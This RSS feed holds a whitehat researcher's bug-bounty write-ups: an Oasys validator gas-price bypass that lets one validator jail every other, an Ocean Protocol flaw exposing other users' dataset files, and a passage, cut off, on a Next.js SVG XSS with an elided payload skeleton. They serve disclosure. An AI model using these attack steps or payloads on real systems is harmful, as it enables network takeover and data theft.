<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Merkle Bonsai</title>
        <link>https://paragraph.com/@merkle-bonsai</link>
        <description>Smart contract &amp; blockchain whitehat</description>
        <lastBuildDate>Sun, 29 Nov 2026 02:18:22 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Merkle Bonsai</title>
            <url>https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/740d574c87850b3decbba3c41f891acd553b7c0ed0a7f351f0879cbbb6d560d9.jpg</url>
            <link>https://paragraph.com/@merkle-bonsai</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Oasys blockchain report study. Everybody goes to jail]]></title>
            <link>https://paragraph.com/@merkle-bonsai/oasys-blockchain-report-study-everybody-goes-to-jail</link>
            <guid>YKVGGrKsShLHECNX8M95</guid>
            <pubDate>Thu, 25 Jan 2024 17:54:24 GMT</pubDate>
            <description><![CDATA[IntroWhat is Oasys? It is both L2 blockchain and ecosystem that is based on forked Ethereum protocol. It is super-limited, with no possibility to deploy custom contracts, and is specifically aimed to solve blockchain gaming stuff. I guess they are actually based in Japan, as they have events in Tokyo and Japanese partnerships, like Bandai Namco (guys who own Pacman and Gundam) and DoubleJump.japan. Their bug bounty was present at Immunefi in first half of 2023; sadly, they decided to - tempor...]]></description>
            <content:encoded><![CDATA[<h2 id="h-intro" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Intro</h2><p>What is Oasys?</p><p>It is both L2 blockchain and ecosystem that is based on forked Ethereum protocol. It is super-limited, with no possibility to deploy custom contracts, and is specifically aimed to solve blockchain gaming stuff. I guess they are actually based in Japan, as they have events in Tokyo and Japanese partnerships, like Bandai Namco (guys who own Pacman and Gundam) and DoubleJump.japan.</p><p>Their <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://web.archive.org/web/20230316030337/https://immunefi.com/bounty/oasys/">bug bounty</a> was present at Immunefi in first half of 2023; sadly, they decided to - temporarily, I hope - stop their Bug Bounty program. As far as I know, I am the last person who was paid with this BB program due to very long and hard negotiation process. Last chapter in this report study has lot of details about this negotiation process to focus on bug itself.</p><p>I am not aware if this report is only Critical-grade across all reports to Oasys, but I personally consider this bug, along with “download any dataset from Ocean”, as most impactful I ever found, and this definitely deserves to be scored as Critical, and I assume this one is probably the most impactful one across all Oasys got; at least I did not see fixes of vulnerabilities that impactful in their GitHub. However, I had to fight with Oasys for 7 months to accept it</p><h2 id="h-at-first-glance-looks-so-easy" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">At first glance looks so easy</h2><p>Let’s talk first about how Oasys DPoS work.</p><p>I do not want to say anything bad, but I really do not get the idea behind their implementation.</p><p>Some tech nuances made me laugh (probably due to my weird sense of engineering humour). However, I cannot stop myself from sharing with everyone the fact that Oasys is running not over the EVM PoS or any DPoS available, but created EVM PoW with forced complexity 1 and cross-validation of block producer between validators. I understand that deep in the core this basically works as PoS, but I cannot stop laughing from the fact that validators are actually miners at Oasys Blockchain. Just other validators just behave like a bunch of snobs in the code. “You mined this block, but you mined it without our approval”.</p><p>Okay, jokes aside, let’s dive in tech details.</p><p>Oasys is managed by bunch of pre-deployed system <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/oasysgames/oasys-genesis-contract">smart contracts</a>, such as <code>StakeManager.sol</code> and <code>Environment.sol</code>. They are considered “system-ish” contracts. Anyone can read them, but calling them is mostly available within specific set of rules.</p><p>First of all, only current validator can execute calls that are impactful, that is protected via <code>onlyCoinbase</code> modifier:</p><pre data-type="codeBlock" text="modifier onlyCoinbase() {
    if (msg.sender != block.coinbase) revert OnlyBlockProducer();
    _;
}
"><code><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyCoinbase</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">coinbase</span>) <span class="hljs-keyword">revert</span> OnlyBlockProducer();
    <span class="hljs-keyword">_</span>;
}
</code></pre><p>I already know after explaining this vulnerability for several times that I need to explain one more extra detail: <code>block.coinbase</code> is just ordinary address. Only limitation is that it should be EOA, so it could sign blocks. Yes, block validators uses same private keys just like ordinary EOA accounts. Thus, they can make smart contract calls, where this equation will be valid: <code>msg.sender == block.coinbase</code>.</p><p>To understand the attack I will focus on just 2 functions under this <code>onlyCoinbase</code> protection: <code>Environment.updateValue</code> and <code>StakeManager.slash</code>. Initializers are also protected, but this is not important for us here.</p><p><code>Environment.updateValue</code>, basically, controls amount of rewards and some configs in next block. It will be used in very end, and now let’s focus on <code>StakeManager.slash</code>.</p><p>Despite just being called “slash”, this function is also able to jail validator if he gets enough slashes, kicking him from next epoch validation participation and obtaining the validator rewards.</p><p>Sounds easy crit, eh? You just need to slash everyone while you are validating the block.</p><p>Numbers are also looking doable. At 2023 summer, configuration was following:</p><ul><li><p>24 validators</p></li><li><p>500 slashes to jail</p></li><li><p>5760 blocks per epoch (15s blocks in 24 hrs)</p></li><li><p>around $50k in OAS staked to join validators club</p></li></ul><p>This means you need to make 12 000 calls (24 validators * 500 slashes) to <code>StakeManager.slash</code> within one epoch while you are <code>coinbase</code> to jail everybody. Sadly, we need to do it directly (and also we cannot deploy contracts), so one slash = 1 transaction.</p><p>How much is it in blocks? My theoretical calculation was 500+ txs per block, however, when I ran <code>oasys-geth</code> to test the concept (damn, it was hard), I was able to make merely up to 300+ txs per block. I assume that deeper dive in block production can fix this, but since we’re talking about PoC, it’s not that important.</p><p>So, we have 300 txs block capacity and 12000 to run. This is in 40 (12000 / 300) blocks in single epoch to be controlled by attacker. Or, like, 0.7% of epoch (5760 blocks). You do not even need to make some significant deposit for that.</p><p>Is this that easy?</p><h2 id="h-not-that-easy" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Not that easy</h2><p>It should not be that simple, right? Yes. Let’s dive deep into <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/oasysgames/oasys-validator.git">oasys-geth</a> repository. Of course, there is a protection from such a smart guys.</p><p>It is called “system transactions” and is partially emulating the PoS beacon chain functionality over the general chain.</p><p>How it works? First, there is <code>IsSystemTransaction</code> function in <code>consensus/oasys/contract.go</code> that checks if transaction is “system”.</p><p>Provided code is simplified a lot (please, Go developers, don’t kill me, I know this code is invalid but it is at least readable) to preserve the idea. This is latest version of the code, and it already contains the fix for my report:</p><pre data-type="codeBlock" text="func (c *Oasys) IsSystemTransaction(tx *types.Transaction, header *types.Header) (bool) {
    if tx.To == nil 
        return false
    if tx.Signer != header.Coinbase 
        return false

    for contract, methods := range systemMethods {
        if contract == tx.To &amp;&amp; methods.has(tx.MethodName)
            return true
    }

    return false
}
"><code>func (c <span class="hljs-operator">*</span>Oasys) IsSystemTransaction(<span class="hljs-built_in">tx</span> <span class="hljs-operator">*</span>types.Transaction, header <span class="hljs-operator">*</span>types.Header) (<span class="hljs-keyword">bool</span>) {
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">tx</span>.To <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nil 
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">tx</span>.Signer <span class="hljs-operator">!</span><span class="hljs-operator">=</span> header.Coinbase 
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>

    <span class="hljs-keyword">for</span> <span class="hljs-class"><span class="hljs-keyword">contract</span>, <span class="hljs-title">methods</span> := <span class="hljs-title">range</span> <span class="hljs-title">systemMethods</span> </span>{
        <span class="hljs-keyword">if</span> <span class="hljs-class"><span class="hljs-keyword">contract</span> == <span class="hljs-title"><span class="hljs-built_in">tx</span></span>.<span class="hljs-title">To</span> &#x26;&#x26; <span class="hljs-title">methods</span>.<span class="hljs-title">has</span>(<span class="hljs-params"><span class="hljs-built_in">tx</span>.MethodName</span>)
            <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">true</span></span>
    }

    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">false</span></span>
}
</span></code></pre><p>What are those “System Transactions”?</p><p>If you want to see them in the code - they are mainly used in <code>consensus/oasys/oasys.go</code>.</p><p>System transactions are ejected from ordinary block transactions and processed separately as part of consensus logic. All of them have to be “consumed” here and there by various internal calls, such as initialization and slashing. You cannot simply add new System Transaction, either block finalisation or consensus will fail.</p><p>If you will look at <code>Finalize</code> function, you will see how they are used: they are passed to everything merely related to block production functionality, and slowly consumed. In the end of finalisation, there should be 0 System Transactions not consumed yet.</p><p>So you cannot just begin a slaughterhouse and slash everyone you see. Your blocks will be simply rejected if you will try to act like a crazy and will try to slash everyone.</p><p>But, there’s a nuance!</p><p>This is how this function looked like (again, VERY simplified) when I reported this bug:</p><pre data-type="codeBlock" text="func (c *Oasys) IsSystemTransaction(tx *types.Transaction, header *types.Header) (bool, error) {
    if tx.To == nil 
        return false
    if tx.Signer != header.Coinbase 
        return false

    if genesisContracts[*tx.To()] &amp;&amp; tx.GasPrice() == 0
        return true
    return false
}
"><code>func (c <span class="hljs-operator">*</span>Oasys) IsSystemTransaction(<span class="hljs-built_in">tx</span> <span class="hljs-operator">*</span>types.Transaction, header <span class="hljs-operator">*</span>types.Header) (<span class="hljs-keyword">bool</span>, <span class="hljs-function"><span class="hljs-keyword">error</span>) </span>{
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">tx</span>.To <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nil 
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">tx</span>.Signer <span class="hljs-operator">!</span><span class="hljs-operator">=</span> header.Coinbase 
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>

    <span class="hljs-keyword">if</span> genesisContracts[<span class="hljs-operator">*</span><span class="hljs-built_in">tx</span>.To()] <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-built_in">tx</span>.GasPrice() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
}
</code></pre><p>Let me repeat the diff part again just in case you missed it:</p><pre data-type="codeBlock" text="// new, fixed
    for contract, methods := range systemMethods
        if contract == tx.To &amp;&amp; methods.has(tx.MethodName)
            return true
// at the moment of report, with vulnerability
    if genesisContracts[*tx.To()] &amp;&amp; tx.GasPrice() == 0
        return true
"><code><span class="hljs-comment">// new, fixed</span>
    <span class="hljs-keyword">for</span> <span class="hljs-class"><span class="hljs-keyword">contract</span>, <span class="hljs-title">methods</span> := <span class="hljs-title">range</span> <span class="hljs-title">systemMethods</span>
        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title"><span class="hljs-keyword">contract</span></span> == <span class="hljs-title"><span class="hljs-built_in">tx</span></span>.<span class="hljs-title">To</span> &#x26;&#x26; <span class="hljs-title">methods</span>.<span class="hljs-title">has</span>(<span class="hljs-params"><span class="hljs-built_in">tx</span>.MethodName</span>)
            <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">true</span></span>
<span class="hljs-comment">// at the moment of report, with vulnerability</span>
    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">genesisContracts</span>[*<span class="hljs-title"><span class="hljs-built_in">tx</span></span>.<span class="hljs-title">To</span>(<span class="hljs-params"></span>)] &#x26;&#x26; <span class="hljs-title"><span class="hljs-built_in">tx</span></span>.<span class="hljs-title">GasPrice</span>(<span class="hljs-params"></span>) == 0
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-literal">true</span></span>
</span></code></pre><p>I’m personally agree with <code>genesisContracts[*tx.To()]</code> check, but look at <em>this</em>: <code>tx.GasPrice() == 0</code>.</p><p>You know how to bypass it? <strong>Just send transaction with gas!</strong></p><p>And, since you are the <s>validator</s> pre-1559 miner with respects from other guys in the club, you do not need to follow the gas price rules, and you can just take transactions with gas price as low as 1 wei (just do not make them 0) and all other validators will accept this block with killing spree.</p><h2 id="h-even-easier" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Even easier</h2><p>When you will try to replicate this attack in Hardhat (on pre-april commit), you will not even detect the protection, as Hardhat will automatically give you <em>some</em> non-zero gas price and you will just bypass it.</p><p>So, let’s put all things together and make full attack description:</p><ul><li><p>attacker deposits around $50k and becomes a small validator in Oasys chain</p></li><li><p>When he considers that his time has come (and he has at least 40-50 blocks to validate remaining within the epoch), he start to fill blocks - ones he is validating - with calls of <code>StakeManager.slash</code> against everyone else. Only thing he needs is to ensure that gas price is not zero (and, optionally, as cheap as possible).</p></li><li><p>In the end of the epoch everyone else gets jailed, and he becomes the only validator in the network.</p></li></ul><p>What can he do with this ultimate power?</p><ul><li><p>first of all, obviously, he can stop the network. And this will require a hardfork to remove everything he did. Additionally, he can validate blocks for few more days or weeks to make it even more painful</p></li><li><p>secondly, he can continue to maintain the network for whatever reason he wants - and what is important, he can reject any attempts to become new validators, so network will be fully his kingdom. This means he can e.g. block the deposits to the exchanges, so he will be only one who is able to sell something</p></li><li><p>thirdly, you remember <code>Environment.updateValue</code>? This is a configurator for block rewards and stuff that is operated via consensus of validators. Attacker can literally set any amount of rewards he want for himself and start minting OAS tokens infinitely, getting as much as he wants for his definitely honest and hard work 👀</p></li></ul><h2 id="h-absolutely-hard" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Absolutely hard</h2><p>Sadly, Oasys acted in a very questionable manner during whole report discussion. I usually say only good words about projects - even when I was angry as Ocean, it was 100% about me, not about them. Anger is boost for me, so I cannot say anything bad about Ocean either now or then, as they were absolutely correct and polite in their behavior.</p><p>I cannot express how grateful I am to Immunefi for mediation of this process. Without their help it would probably end with nothing, but it ended as $200k payout instead.</p><p>This is non-default sum of BB program, but a result of agreement between me and Oasys: we both consider that problem lays between smart contracts and blockchain logic (however, we disagree on nuances), so we found the solid ground between their $150k Smart Contract Critical and $250k Blockchain/DLT critical.</p><p>I will just leave a timeline of my report to make it less biased.</p><p><strong>April 15.</strong> Report created.</p><p><strong>April 18.</strong> Report closed with comment. Immunefi meditation was requested. On request from Immunefi, full-scale PoC (500+ lines of code) was provided in a few days later.</p><p>Here’s their comment. They will ignore me until July after it:</p><blockquote><p>This is not a security bug report because staking contract takes slashing on every day, and slashed validator just don&apos;t take reward from validation. All validator needs to stake for joining, slashing makes no reason beneficial for other validator who jailed. So, basically, jailing makes no harm for whole consensus system for validator.</p><p>Due to this reason, we are closing the submission and no reward will be issued.</p></blockquote><p><strong>April 26.</strong> Oasys shadow-fixes the bug in this commit (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/oasysgames/oasys-validator/commit/35f9ad2456e4f2cabb50332141698ce0d466dbae">https://github.com/oasysgames/oasys-validator/commit/35f9ad2456e4f2cabb50332141698ce0d466dbae</a>)</p><p><strong>July 6.</strong> Oasys insists that bug is invalid. I provide them the proofs of fix in 10 days after the report. I asked them for a proofs that it was task from internal backlog - I understand that it was, though sad for me, possible thing to happen - but did not get an answer. Guess it was shadow-fixing.</p><p><strong>July 26.</strong> Oasys attempts to lower the severity from “critical” to “high” due to missing recommendations on how to fix. I point them that severity lowering is happening only on mutual agreement (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://immunefisupport.zendesk.com/hc/en-us/articles/4415200339601-Lowering-Severity-">https://immunefisupport.zendesk.com/hc/en-us/articles/4415200339601-Lowering-Severity-</a>). Since I just want to end this story, I also explicitly asks them if it is about money or severity, intending to propose just lowering the payout if everything is all around the money. In parallel, I inform the Immunefi that I’m open to negotiation and OK in advance (without asking me in future) to lower the sum to $200k in any stablecoins without any extra discussion, as I just do not want to exchange OAS that was used for payouts - and also want to finally close this report.</p><p><strong>July 31.</strong> Oasys continues to argue. Also, they propose me a Go/Solidity developer position (sic!). I kindly ask them to end with report first, also reminding about Immunefi core rules (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://immunefi.com/rules/">https://immunefi.com/rules/</a>), with 3 points already broken:</p><ul><li><p>Abusing the &quot;no fix, no pay&quot; rule by stealth fixing the bug later without providing full payment to the whitehat</p></li><li><p>Breaking SLAs regarding responsiveness and bug report resolution (again, it’s already July, and report was sent in April)</p></li><li><p>Soliciting whitehats on Immunefi for commercial projects or private bug bounty programs (I think that includes job offers)</p></li></ul><p><strong>August 14.</strong> Immunefi mediation is complete. This was super-slow, but I understand the guys - checking the blockchain code is really hard, so no bad feelings towards Immunefi team.</p><p><strong>September 13.</strong> Oasys disagrees with Immunefi mediation (sic!!!). Immunefi guys write me “it is now between us and them, please just chill a bit”.</p><p><strong>September 20.</strong> Oasys finally agrees on vuln and severity. However, it starts to argue about “Smart Contract vs Blockchain” vulnerability. In money terms, it’s $150k vs $250k. Somewhy, again the argument about the bugfix advice appears. Their comment:</p><blockquote><p>I believe that accepting my previous offer, which categorized the issue as critical severity in the contract category, is a reasonable compromise.</p><p>Since we&apos;ve compromise to downgrade the severity level (in fact, our team identified the root cause), I kindly ask that you also compromise on the category.</p></blockquote><p><strong>September 23 - October 6.</strong> Immunefi provides a second mediation result, insisting that it is blockchain bug. Oasys still argues.</p><p><strong>November 1.</strong> Everything is finally confirmed. Immunefi team completed the negotiation process with Oasys and I will receive my bounty in few days (specifically, <strong>November 6</strong>).</p><p>Subscribe to my Twitter for more web3 security stuff:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/merkle_bonsai">https://twitter.com/merkle_bonsai</a></p>]]></content:encoded>
            <author>merkle-bonsai@newsletter.paragraph.com (Merkle Bonsai)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/d7a10cb6827b680d30aa7d9e7421d466ca7842879a24dc33f3ee461b358d4a0e.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[There's plenty of DIDs in the Ocean: Hybrid NFT on Ocean Protocol bug report]]></title>
            <link>https://paragraph.com/@merkle-bonsai/there-s-plenty-of-dids-in-the-ocean-hybrid-nft-on-ocean-protocol-bug-report</link>
            <guid>t5K2sB4Qdrl0oAvwTSAD</guid>
            <pubDate>Wed, 08 Nov 2023 18:41:24 GMT</pubDate>
            <description><![CDATA[The bugs sometimes hide in interesting places. Hybrid attacks are very interesting things, where projects rely on on-chain data that may be actually modified. I wrote about Ocean Protocol design before, in this article, so you can use it for some extra explanations. Let’s take e.g. this dataset. If you will enable debug mode, you will see its Data Description Object, or DDO (maybe it’s Data Description, but you got the idea) that looks like JSON below. It is mostly stored on a blockchain, and...]]></description>
            <content:encoded><![CDATA[<p>The bugs sometimes hide in interesting places. Hybrid attacks are very interesting things, where projects rely on on-chain data that may be actually modified.</p><p>I wrote about Ocean Protocol design before, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/0x333247F2e126954ed6428e9135Ae9dE06A76BA32/GgAUn8pLDqMdM4s0FWZTd5XPHJWrRmLBqbLFxbPOdbo">in this article</a>, so you can use it for some extra explanations.</p><p>Let’s take e.g. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://market.oceanprotocol.com/asset/did:op:fa0e8fa9550e8eb13392d6eeb9ba9f8111801b332c8d2345b350b3bc66b379d5">this dataset</a>. If you will enable debug mode, you will see its Data Description Object, or DDO (maybe it’s Data Description, but you got the idea) that looks like JSON below. It is mostly stored on a blockchain, and can be manipulated during creation. Maybe during the editing too, but I’m unsure here - didn’t try it then.</p><pre data-type="codeBlock" text="{
  &quot;@context&quot;: [&quot;https://w3id.org/did/v1&quot;],
  &quot;id&quot;: &quot;did:op:fa0e8fa9550e8eb13392d6eeb9ba9f8111801b332c8d2345b350b3bc66b379d5&quot;,
  &quot;nftAddress&quot;: &quot;0xBB1081DbF3227bbB233Db68f7117114baBb43656&quot;,
  &quot;version&quot;: &quot;4.1.0&quot;,
  &quot;chainId&quot;: 137,
  &quot;metadata&quot;: {...},
  &quot;services&quot;: [
    {
      &quot;id&quot;: &quot;24654b91482a3351050510ff72694d88edae803cf31a5da993da963ba0087648&quot;,
      &quot;type&quot;: &quot;access&quot;,
      &quot;files&quot;: &quot;0x04...86c&quot;,
      &quot;datatokenAddress&quot;: &quot;0xfF4AE9869Cafb5Ff725f962F3Bbc22Fb303A8aD8&quot;,
      &quot;serviceEndpoint&quot;: &quot;https://v4.provider.polygon.oceanprotocol.com&quot;,
      &quot;timeout&quot;: 604800
    }
  ],
  &quot;event&quot;: {...},
  &quot;nft&quot;: {...},
  &quot;purgatory&quot;: {
    &quot;state&quot;: false
  },
  &quot;datatokens&quot;: [...],
  &quot;stats&quot;: {...},
  &quot;accessDetails&quot;: {...}
}
"><code>{
  <span class="hljs-string">"@context"</span>: [<span class="hljs-string">"https://w3id.org/did/v1"</span>],
  <span class="hljs-string">"id"</span>: <span class="hljs-string">"did:op:fa0e8fa9550e8eb13392d6eeb9ba9f8111801b332c8d2345b350b3bc66b379d5"</span>,
  <span class="hljs-string">"nftAddress"</span>: <span class="hljs-string">"0xBB1081DbF3227bbB233Db68f7117114baBb43656"</span>,
  <span class="hljs-string">"version"</span>: <span class="hljs-string">"4.1.0"</span>,
  <span class="hljs-string">"chainId"</span>: <span class="hljs-number">137</span>,
  <span class="hljs-string">"metadata"</span>: {...},
  <span class="hljs-string">"services"</span>: [
    {
      <span class="hljs-string">"id"</span>: <span class="hljs-string">"24654b91482a3351050510ff72694d88edae803cf31a5da993da963ba0087648"</span>,
      <span class="hljs-string">"type"</span>: <span class="hljs-string">"access"</span>,
      <span class="hljs-string">"files"</span>: <span class="hljs-string">"0x04...86c"</span>,
      <span class="hljs-string">"datatokenAddress"</span>: <span class="hljs-string">"0xfF4AE9869Cafb5Ff725f962F3Bbc22Fb303A8aD8"</span>,
      <span class="hljs-string">"serviceEndpoint"</span>: <span class="hljs-string">"https://v4.provider.polygon.oceanprotocol.com"</span>,
      <span class="hljs-string">"timeout"</span>: <span class="hljs-number">604800</span>
    }
  ],
  <span class="hljs-string">"event"</span>: {...},
  <span class="hljs-string">"nft"</span>: {...},
  <span class="hljs-string">"purgatory"</span>: {
    <span class="hljs-string">"state"</span>: <span class="hljs-literal">false</span>
  },
  <span class="hljs-string">"datatokens"</span>: [...],
  <span class="hljs-string">"stats"</span>: {...},
  <span class="hljs-string">"accessDetails"</span>: {...}
}
</code></pre><p>What is interesting here is that file itself is detached from NFT. It is not one-to-one mapping somewhere, but separate and manipulatable record.</p><p>So, what if just use someone else’s data ID?</p><p>After several attempts of picking someone else’s data, I was able to figure out that no consistency check is happening, and if <code>services[*].files</code> is modified to <code>files</code> from any other dataset, it literally downloads someone else’s file.</p><p>Rephrasing, you can create a dataset that is giving you not yours files, but files of victim. Yes, that simple.</p><p>Since I had no experience with web3 at that moment I was not able to create a normal report, so behold, the most terrible valid PoC you ever seen:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/2d72da7804d1ea4539e30fb1c714c64bff89c61c4638bf931948755f6fbf71fc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>So, how it’s working? let’s have a look on a PR that fixes this bug.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/oceanprotocol/provider/pull/481/files#diff-4de51164658a1dae86aa4016a40ca2f74749a0ecb3df56010f501a8d3c6a7801R112">https://github.com/oceanprotocol/provider/pull/481/files#diff-4de51164658a1dae86aa4016a40ca2f74749a0ecb3df56010f501a8d3c6a7801R112</a></p><p>We can see that indeed, there was missing consistency checks. Now they are there:</p><pre data-type="codeBlock" text="if Web3.toChecksumAddress(files_json[&quot;datatokenAddress&quot;]) != Web3.toChecksumAddress(service.datatoken_address):
    raise Exception(...)

if Web3.toChecksumAddress(files_json[&quot;nftAddress&quot;]) != Web3.toChecksumAddress(asset.nftAddress):
    raise Exception(...)
"><code><span class="hljs-keyword">if</span> Web3.toChecksumAddress(files_json[<span class="hljs-string">"datatokenAddress"</span>]) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> Web3.toChecksumAddress(service.datatoken_address):
    raise Exception(...)

<span class="hljs-keyword">if</span> Web3.toChecksumAddress(files_json[<span class="hljs-string">"nftAddress"</span>]) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> Web3.toChecksumAddress(asset.nftAddress):
    raise Exception(...)
</code></pre><p>So simple, yet missed.</p><hr><p>This was my first crit, and I’m still very proud of discovering it; lots of kudos goes to Ocean for incredibly good attitude and fast speed (4 days from report to confirmation, 2 days more to payout).</p><p>I love finding this kind of bugs - needs a lot of time to discover and understand, but after you get it - it looks so simple to you; like a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;ved=2ahUKEwii0dO8hrWCAxV_S2wGHU89BKAQFnoECBAQAQ&amp;url=https%3A%2F%2Fmedium.com%2Fimmunefi%2Foptimism-infinite-money-duplication-bugfix-review-daa6597146a0&amp;usg=AOvVaw3-GA1Ck1GN_6cpj94NzHT3&amp;opi=89978449">Optimism bug</a>. No heavy math, no flashloans and MEV, just something that everyone simply missed.</p><p>Subscribe to my Twitter for more web3 security stuff:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/merkle_bonsai">https://twitter.com/merkle_bonsai</a></p>]]></content:encoded>
            <author>merkle-bonsai@newsletter.paragraph.com (Merkle Bonsai)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/dbdc0e00e723f2abe233be8a0e2834096290d5ffd5d5be5e17b8ac5b21574c2a.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Bug report study: Ocean XSS via NFT]]></title>
            <link>https://paragraph.com/@merkle-bonsai/bug-report-study-ocean-xss-via-nft</link>
            <guid>GDSM9lKurAakBw2ksVEM</guid>
            <pubDate>Tue, 24 Oct 2023 12:45:20 GMT</pubDate>
            <description><![CDATA[This is a bug which made me to dive deep into Solidity code. It was accepted and I even got paid, but waaay lower than I expected - I honestly considered it as a critical. However, it was marked as out of scope, as it was partially related to deployment configuration, not source code itself. I’m the lawful good guy and always follow the rules, so since Ocean removed website as target (I still think it was because of me, reporting access to any dataset first, and now this - all within a month)...]]></description>
            <content:encoded><![CDATA[<p>This is a bug which made me to dive deep into Solidity code. It was accepted and I even got paid, but waaay lower than I expected - I honestly considered it as a critical. However, it was marked as out of scope, as it was partially related to deployment configuration, not source code itself.</p><p>I’m the lawful good guy and always follow the rules, so since Ocean removed website as target (I still think it was because of me, reporting access to any dataset first, and now this - all within a month), I decided “I deserve crit”, and started looking through Solidity contracts. I got my Solidity crits later, but this is a different story.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/769e5adb67e81089333c7487dd89b86da2696c09c8bf7863dbf04553d2ce2912.png" alt="BTW, have you ever seen projects paying for none? :D" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">BTW, have you ever seen projects paying for none? :D</figcaption></figure><hr><p>A bit more than a year ago, there was an XSS attack in Next.js framework (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://security.snyk.io/vuln/SNYK-JS-NEXT-1577139">CVE-2021-39178</a>). There were 2 of them, actually, both related to image processing, but with different sub-APIs used.</p><blockquote><p>Next.js is React framework for building web apps, and it is huge. React usage is 80%+ across web devs according to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://2022.stateofjs.com/en-US/libraries/front-end-frameworks/">State of JS</a>, and Next.js is by-default choice nowadays for most of React developers. I would say, that 20-30% of modern web apps are running Next.js.</p></blockquote><p>This XSS was quite specific and had narrow usage. It allowed to load external image and “run” it in its own context. URL for this attack looked like this:</p><blockquote><pre data-type="codeBlock" text="https://host/_ipx/w_100,q_1/&lt;URL&gt;
"><code>https:<span class="hljs-comment">//host/_ipx/w_100,q_1/&#x3C;URL></span>
</code></pre></blockquote><p>PNG/JPG/WebP images were just processed, but SVG… well, SVG was different, it allowed to execute scripts.</p><p>This is what I used in my report:</p><blockquote><pre data-type="codeBlock" text="&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
    &lt;foreignObject&gt;
        &lt;body xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
            &lt;script type=&quot;text/javascript&quot;&gt;
            ...code...
            &lt;/script&gt;
        &lt;/body&gt;
